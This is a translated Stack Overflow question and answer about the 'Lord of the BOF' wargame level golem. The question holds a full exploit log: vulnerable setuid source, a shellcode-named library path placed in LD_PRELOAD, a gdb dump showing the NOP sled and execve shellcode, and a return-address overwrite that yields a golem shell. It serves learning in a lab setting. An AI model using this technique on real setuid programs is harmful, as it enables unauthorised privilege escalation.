首先，让我告诉你背景。
我正在解决一个叫做BoF之王的游戏，它基于RedHat Linux 6.2，没有地址空间布局随机化（ASLR）、NX位、ASCII装甲等。。在编译代码时，gcc不会产生任何伪代码。当我试图解决一个叫做golem的问题时，我想知道一些事情。
解决日志
这是golem的源代码。如您所见，它用0填充整个堆栈，除了main的返回地址。
login: skeleton
Password:
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
golem是一个带有setuid的可执行文件。[skeleton@localhost skeleton]$ ls -l .
total 16
-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem
-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
我创建了一个名为shellcode的空共享库，并用文件的绝对路径设置了一个环境变量
LD_PRELOAD。[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
然后我复制了
golem以便用gdb调试它。我调试了它，在/home/skeleton/...(Shellcode)....so（$ebp-1264）找到了字符串0xbffff6b8。[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em
Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267 0x00000000 0x000003f0 0x000006db
...
(gdb)
0xbfffe8e8: 0x00000358 0x000003ac 0x0000058d 0x0000070d
...
(gdb)
0xbfffe9b0: 0x00000318 0x000006cb 0x000006e3 0x0000046b
...
(gdb)
0xbfffea78: 0x000004fa 0x00000570 0x000006b4 0x00000000
...
(gdb)
0xbfffeb40: 0x00000242 0x000006e7 0x000005a0 0x000005fa
...
(gdb)
0xbfffec08: 0x00000404 0x00000648 0x00000577 0x000002ec
...
(gdb)
0xbfffecd0: 0x00000000 0x00000000 0x000003a2 0x0000026c
...
(gdb)
0xbfffed98: 0x0000009c 0x000005fc 0x000001c2 0x00000563
...
(gdb)
0xbfffee60: 0x00000000 0x000004d9 0x000006c9 0x00000277
...
(gdb)
0xbfffef28: 0x000005f6 0x00000551 0x000000b6 0x00000000
...
(gdb)
0xbfffeff0: 0x000003a4 0x00000351 0x000006cd 0x000000b9
...
(gdb)
0xbffff0b8: 0x0000045f 0x000006dd 0x000004a6 0x00000000
...
(gdb)
0xbffff180: 0x000001c0 0x000005f1 0x00000457 0x00000712
...
(gdb)
0xbffff248: 0x0000070b 0x00000167 0x00000555 0x00000619
...
(gdb)
0xbffff310: 0x000004aa 0x000006be 0x000003ef 0x00000000
...
(gdb)
0xbffff3d8: 0x0000062e 0x00000569 0x00000000 0x000005a1
...
(gdb)
0xbffff4a0: 0xbfffe3cc 0xbfffe39c 0xbfffe414 0x00001000
...
(gdb)
0xbffff568: 0x40013c00 0x00000004 0x40014ba0 0x00000003
...
(gdb)
0xbffff630: 0x40013c00 0x4001a0d4 0x40010c9e 0x40000814
0xbffff640: 0x400138d4 0x40001402 0x400002f4 0x080482d0
0xbffff650: 0x080482d0 0xbffff69c 0x00000002 0x40023fd0
0xbffff660: 0x40013c00 0x4000ba15 0x40013868 0x40000814
0xbffff670: 0x400041b0 0x00000001 0xbffff684 0x40001528
0xbffff680: 0x000002c8 0x00000000 0x080482d0 0x00000000
0xbffff690: 0x00000001 0x40000824 0xbffff6a4 0x400075bb
0xbffff6a0: 0x40017000 0x00002fb2 0x40013868 0xbffff8e4
0xbffff6b0: 0x4000380e 0x400144d8 0x6d6f682f 0x6b732f65
0xbffff6c0: 0x74656c65 0x902f6e6f 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f0: 0x90909090 0x90909090
(gdb)
0xbffff6f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff708: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff718: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff728: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff738: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff758: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff768: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff778: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff788: 0x90909090 0x31909090 0x616850c0 0x68687361
0xbffff798: 0x6e696261 0x4e243480 0x04247480 0x2474804e
0xbffff7a8: 0xe3894e05 0xe1895350 0x0bb0d231 0x732e80cd
0xbffff7b8: 0x4000006f 0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8: '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb)
0xbffff78f: "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running. Exit anyway? (y or n) y
我用shellcode的预期地址重写了
main的返回地址，这样shellcode就可以用setuid执行了，它就工作了。[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...
问题
为什么在环境变量
LD_PRELOAD中指定的共享库文件的路径字符串加载到具有setuid的可执行文件的内存中？I was told that LD_PRELOAD cannot be used with setuid。我读过
Stack layout
LD_PRELOAD with setuid binary
why is the value of LD_PRELOAD on the stack（操作人员说的是同一个问题，但与我的要求完全不同。）
最佳答案
在Linux上，所有的环境变量都可以通过一个特殊的第三个参数对程序可见，这个参数通常称为main()：http://crasseux.com/books/ctutorial/Environment-variables.html
如果envp是envp签名的一部分，它将指向包含所有环境变量的数组。即使不是这样，数组可能仍然存在于程序的地址空间中。
这并不意味着加载器实际上在任何特定的场景中尊重main()，它可以忽略它，例如LD_PRELOAD，但是变量仍然存在。
关于linux - 为什么在RedHat 6.2中将LD_PRELOAD中指定的字符串加载到setuid可执行文件的内存中？，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/41864659/